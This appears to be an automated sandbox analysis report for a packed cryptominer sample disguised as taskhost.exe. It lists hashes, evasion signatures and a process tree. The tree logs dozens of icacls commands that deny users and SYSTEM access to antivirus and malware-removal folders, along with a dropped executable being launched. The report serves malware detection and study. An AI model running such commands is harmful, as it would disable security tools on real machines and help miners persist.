Overview

overview

10

Static

static

10

sss/Install/Del3.bat

windows7-x64

1

sss/Install/Del3.bat

windows10-2004-x64

1

sss/Instal...te.bat

windows7-x64

1

sss/Instal...te.bat

windows10-2004-x64

1

sss/Install/del.bat

windows7-x64

1

sss/Install/del.bat

windows10-2004-x64

1

sss/Install/smss.exe

windows7-x64

10

sss/Install/smss.exe

windows10-2004-x64

10

sss/RDPWinst.exe

windows7-x64

1

sss/RDPWinst.exe

windows10-2004-x64

1

sss/ReaIte...st.exe

windows7-x64

10

sss/ReaIte...st.exe

windows10-2004-x64

10

sss/ReaIte...tw.exe

windows7-x64

9

sss/ReaIte...tw.exe

windows10-2004-x64

9

sss/Window...rv.exe

windows7-x64

10

sss/Window...rv.exe

windows10-2004-x64

10

sss/Window...MD.exe

windows7-x64

1

sss/Window...MD.exe

windows10-2004-x64

1

sss/Window...le.exe

windows7-x64

1

sss/Window...le.exe

windows10-2004-x64

1

sss/Window...st.exe

windows7-x64

1

sss/Window...st.exe

windows10-2004-x64

1

sss/Window...64.sys

windows7-x64

1

sss/Window...64.sys

windows10-2004-x64

1

sss/Window...dg.exe

windows7-x64

9

sss/Window...dg.exe

windows10-2004-x64

9

sss/Window...on.bat

windows7-x64

1

sss/Window...on.bat

windows10-2004-x64

1

Analysis

  • max time kernel
    1050s
  • max time network
    1054s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-03-2024 23:04

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    sss/ReaItekHD/taskhost.exe

  • Size

    21.7MB

  • MD5

    b2ceb39a1dc0ed07e6e91ebc1131e6af

  • SHA1

    bd5d9ca87727af82c0109d8fdd44fcd090a4302a

  • SHA256

    7f29a1005a7c5c936791c1f9b2a6745286a01467fb15c94beaaf72ac959aee1e

  • SHA512

    c8deb6c184e58fb27f2d760c8740af5a62c4182824e9b48607eb810fa95896c8bcdbf8d50c117f06a620b8f35c3eaa59a9376f8b8b9d27ca17a2b2f2047adb07

  • SSDEEP

    393216:h/f16H6QzwnoD13bPmzcAWOzOutBzA6YG7E3VHEx8OdM8E4BQ4vqd0TEX:hV4SoD13bPmzcAWUA6rE3VHEx86MgKYQ

Score
10/10
xmrigdiscoveryevasionminerthemidatrojan

Malware Config

Signatures

  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
    evasion
  • XMRig Miner payload 2 IoCs
    miner
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
    evasion
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 3 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Themida packer 64 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • AutoIT Executable 63 IoCs

    AutoIT scripts compiled to PE executables.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Drops file in Program Files directory 38 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sss\ReaItekHD\taskhost.exe
    "C:\Users\Admin\AppData\Local\Temp\sss\ReaItekHD\taskhost.exe"
    1⤵
    • Modifies visiblity of hidden/system files in Explorer
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of WriteProcessMemory
    PID:4708
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ipconfig /flushdns
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2844
      • C:\Windows\system32\ipconfig.exe
        ipconfig /flushdns
        3⤵
        • Gathers network information
        PID:2316
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c gpupdate /force
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3320
      • C:\Windows\system32\gpupdate.exe
        gpupdate /force
        3⤵
          PID:4424
      • C:\ProgramData\Setup\Packs.exe
        C:\ProgramData\Setup\Packs.exe -ppidar
        2⤵
        • Executes dropped EXE
        PID:1276
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)
        2⤵
          PID:1640
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:752
          • C:\Windows\system32\icacls.exe
            icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
            3⤵
            • Modifies file permissions
            PID:1712
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)
          2⤵
            PID:1136
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2764
            • C:\Windows\system32\icacls.exe
              icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
              3⤵
              • Modifies file permissions
              PID:3548
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)
            2⤵
              PID:928
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2644
              • C:\Windows\system32\icacls.exe
                icacls C:\FRST /deny system:(OI)(CI)(F)
                3⤵
                • Modifies file permissions
                PID:2348
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3568
              • C:\Windows\system32\icacls.exe
                icacls "C:\Program Files (x86)\360" /deny "Admin":(OI)(CI)(F)
                3⤵
                • Modifies file permissions
                PID:4520
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\360safe" /deny "%username%":(OI)(CI)(F)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1592
              • C:\Windows\system32\icacls.exe
                icacls "C:\ProgramData\360safe" /deny "Admin":(OI)(CI)(F)
                3⤵
                • Modifies file permissions
                PID:5056
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpyHunter" /deny "%username%":(OI)(CI)(F)
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4264
              • C:\Windows\system32\icacls.exe
                icacls "C:\Program Files (x86)\SpyHunter" /deny "Admin":(OI)(CI)(F)
                3⤵
                  PID:3604
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Malwarebytes" /deny "%username%":(OI)(CI)(F)
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3168
                • C:\Windows\system32\icacls.exe
                  icacls "C:\Program Files\Malwarebytes" /deny "Admin":(OI)(CI)(F)
                  3⤵
                    PID:3192
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\COMODO" /deny "%username%":(OI)(CI)(F)
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4500
                  • C:\Windows\system32\icacls.exe
                    icacls "C:\Program Files\COMODO" /deny "Admin":(OI)(CI)(F)
                    3⤵
                      PID:3960
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Enigma Software Group" /deny "%username%":(OI)(CI)(F)
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1180
                    • C:\Windows\System32\Conhost.exe
                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                      3⤵
                        PID:2316
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\Program Files\Enigma Software Group" /deny "Admin":(OI)(CI)(F)
                        3⤵
                        • Modifies file permissions
                        PID:4412
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\SpyHunter" /deny "%username%":(OI)(CI)(F)
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1040
                      • C:\Windows\system32\icacls.exe
                        icacls "C:\Program Files\SpyHunter" /deny "Admin":(OI)(CI)(F)
                        3⤵
                          PID:32
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVAST Software" /deny "%username%":(OI)(CI)(F)
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:2088
                        • C:\Windows\system32\icacls.exe
                          icacls "C:\Program Files\AVAST Software" /deny "Admin":(OI)(CI)(F)
                          3⤵
                          • Modifies file permissions
                          PID:528
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVAST Software" /deny "%username%":(OI)(CI)(F)
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1632
                        • C:\Windows\system32\icacls.exe
                          icacls "C:\Program Files (x86)\AVAST Software" /deny "Admin":(OI)(CI)(F)
                          3⤵
                          • Modifies file permissions
                          PID:1132
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\AVAST Software" /deny "%username%":(OI)(CI)(F)
                        2⤵
                          PID:1276
                          • C:\Windows\system32\icacls.exe
                            icacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)
                            3⤵
                            • Modifies file permissions
                            PID:3300
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)
                          2⤵
                            PID:4368
                            • C:\Windows\system32\icacls.exe
                              icacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)
                              3⤵
                                PID:4092
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)
                              2⤵
                                PID:724
                                • C:\Windows\system32\icacls.exe
                                  icacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)
                                  3⤵
                                  • Modifies file permissions
                                  PID:2760
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)
                                2⤵
                                  PID:1672
                                  • C:\Windows\system32\icacls.exe
                                    icacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)
                                    3⤵
                                      PID:3540
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                    2⤵
                                      PID:3128
                                      • C:\Windows\System32\Conhost.exe
                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                        3⤵
                                          PID:2764
                                        • C:\Windows\system32\icacls.exe
                                          icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                          3⤵
                                          • Modifies file permissions
                                          PID:692
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                        2⤵
                                          PID:652
                                          • C:\Windows\system32\icacls.exe
                                            icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                            3⤵
                                            • Modifies file permissions
                                            PID:4792
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                          2⤵
                                            PID:4796
                                            • C:\Windows\system32\icacls.exe
                                              icacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                              3⤵
                                              • Modifies file permissions
                                              PID:988
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                            2⤵
                                              PID:5072
                                              • C:\Windows\system32\icacls.exe
                                                icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                3⤵
                                                • Modifies file permissions
                                                PID:1588
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)
                                              2⤵
                                                PID:3240
                                                • C:\Windows\System32\Conhost.exe
                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                  3⤵
                                                    PID:5056
                                                  • C:\Windows\system32\icacls.exe
                                                    icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)
                                                    3⤵
                                                    • Modifies file permissions
                                                    PID:1216
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                  2⤵
                                                    PID:2840
                                                    • C:\Windows\system32\icacls.exe
                                                      icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)
                                                      3⤵
                                                      • Modifies file permissions
                                                      PID:3816
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)
                                                    2⤵
                                                      PID:4564
                                                      • C:\Windows\system32\icacls.exe
                                                        icacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)
                                                        3⤵
                                                        • Modifies file permissions
                                                        PID:384
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                      2⤵
                                                        PID:3140
                                                        • C:\Windows\system32\icacls.exe
                                                          icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                          3⤵
                                                            PID:1052
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)
                                                          2⤵
                                                            PID:4612
                                                            • C:\Windows\system32\icacls.exe
                                                              icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)
                                                              3⤵
                                                              • Modifies file permissions
                                                              PID:3720
                                                          • C:\Windows\system32\cmd.exe
                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                            2⤵
                                                              PID:3168
                                                              • C:\Windows\system32\icacls.exe
                                                                icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                3⤵
                                                                • Modifies file permissions
                                                                PID:3960
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)
                                                              2⤵
                                                                PID:1300
                                                                • C:\Windows\system32\icacls.exe
                                                                  icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)
                                                                  3⤵
                                                                  • Modifies file permissions
                                                                  PID:2012
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                2⤵
                                                                  PID:4736
                                                                  • C:\Windows\System32\Conhost.exe
                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                    3⤵
                                                                      PID:1040
                                                                    • C:\Windows\system32\icacls.exe
                                                                      icacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                      3⤵
                                                                      • Modifies file permissions
                                                                      PID:1708
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                    2⤵
                                                                      PID:2472
                                                                      • C:\Windows\system32\icacls.exe
                                                                        icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                        3⤵
                                                                          PID:3480
                                                                      • C:\Windows\system32\cmd.exe
                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)
                                                                        2⤵
                                                                          PID:4312
                                                                          • C:\Windows\system32\icacls.exe
                                                                            icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)
                                                                            3⤵
                                                                            • Modifies file permissions
                                                                            PID:2924
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                          2⤵
                                                                            PID:4592
                                                                            • C:\Windows\system32\icacls.exe
                                                                              icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)
                                                                              3⤵
                                                                              • Modifies file permissions
                                                                              PID:3476
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)
                                                                            2⤵
                                                                              PID:4092
                                                                              • C:\Windows\system32\icacls.exe
                                                                                icacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)
                                                                                3⤵
                                                                                • Modifies file permissions
                                                                                PID:4704
                                                                            • C:\Windows\system32\cmd.exe
                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                              2⤵
                                                                                PID:2308
                                                                                • C:\Windows\system32\icacls.exe
                                                                                  icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)
                                                                                  3⤵
                                                                                    PID:3696
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)
                                                                                  2⤵
                                                                                    PID:5064
                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                      3⤵
                                                                                        PID:1712
                                                                                      • C:\Windows\system32\icacls.exe
                                                                                        icacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)
                                                                                        3⤵
                                                                                        • Modifies file permissions
                                                                                        PID:2864
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                      2⤵
                                                                                        PID:2372
                                                                                        • C:\Windows\system32\icacls.exe
                                                                                          icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)
                                                                                          3⤵
                                                                                          • Modifies file permissions
                                                                                          PID:4296
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                        2⤵
                                                                                          PID:1852
                                                                                          • C:\Windows\system32\icacls.exe
                                                                                            icacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                            3⤵
                                                                                              PID:692
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                            2⤵
                                                                                              PID:4952
                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)
                                                                                                3⤵
                                                                                                  PID:4768
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)
                                                                                                2⤵
                                                                                                  PID:4076
                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                    icacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)
                                                                                                    3⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:2720
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                                  2⤵
                                                                                                    PID:3060
                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                      3⤵
                                                                                                        PID:4796
                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                        icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)
                                                                                                        3⤵
                                                                                                        • Modifies file permissions
                                                                                                        PID:4980
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)
                                                                                                      2⤵
                                                                                                        PID:400
                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                          icacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)
                                                                                                          3⤵
                                                                                                          • Modifies file permissions
                                                                                                          PID:4320
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)
                                                                                                        2⤵
                                                                                                          PID:3744
                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                            3⤵
                                                                                                              PID:3240
                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                              icacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)
                                                                                                              3⤵
                                                                                                              • Modifies file permissions
                                                                                                              PID:4384
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                            2⤵
                                                                                                              PID:4324
                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                icacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                                3⤵
                                                                                                                  PID:2652
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)
                                                                                                                2⤵
                                                                                                                  PID:4564
                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                    icacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)
                                                                                                                    3⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:2632
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                                  2⤵
                                                                                                                    PID:4416
                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                      icacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                                      3⤵
                                                                                                                      • Modifies file permissions
                                                                                                                      PID:3960
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)
                                                                                                                    2⤵
                                                                                                                      PID:112
                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                        icacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)
                                                                                                                        3⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:2608
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)
                                                                                                                      2⤵
                                                                                                                        PID:876
                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                          icacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)
                                                                                                                          3⤵
                                                                                                                          • Modifies file permissions
                                                                                                                          PID:2672
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)
                                                                                                                        2⤵
                                                                                                                          PID:2844
                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                            icacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)
                                                                                                                            3⤵
                                                                                                                              PID:2520
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)
                                                                                                                            2⤵
                                                                                                                              PID:1708
                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                icacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)
                                                                                                                                3⤵
                                                                                                                                • Modifies file permissions
                                                                                                                                PID:3500
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                              2⤵
                                                                                                                                PID:3480
                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                  icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                                  3⤵
                                                                                                                                    PID:4312
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)
                                                                                                                                  2⤵
                                                                                                                                    PID:1948
                                                                                                                                    • C:\Windows\system32\icacls.exe
                                                                                                                                      icacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)
                                                                                                                                      3⤵
                                                                                                                                      • Modifies file permissions
                                                                                                                                      PID:4592
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                    2⤵
                                                                                                                                      PID:4248
                                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                                        icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)
                                                                                                                                        3⤵
                                                                                                                                        • Modifies file permissions
                                                                                                                                        PID:3640
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)
                                                                                                                                      2⤵
                                                                                                                                        PID:4988
                                                                                                                                        • C:\Windows\system32\icacls.exe
                                                                                                                                          icacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)
                                                                                                                                          3⤵
                                                                                                                                          • Modifies file permissions
                                                                                                                                          PID:2308
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                        2⤵
                                                                                                                                          PID:4944
                                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                                            icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)
                                                                                                                                            3⤵
                                                                                                                                            • Modifies file permissions
                                                                                                                                            PID:5064
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)
                                                                                                                                          2⤵
                                                                                                                                            PID:1712
                                                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                                                              icacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)
                                                                                                                                              3⤵
                                                                                                                                              • Modifies file permissions
                                                                                                                                              PID:4296
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                            2⤵
                                                                                                                                              PID:2400
                                                                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                                                                icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)
                                                                                                                                                3⤵
                                                                                                                                                • Modifies file permissions
                                                                                                                                                PID:692
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)
                                                                                                                                              2⤵
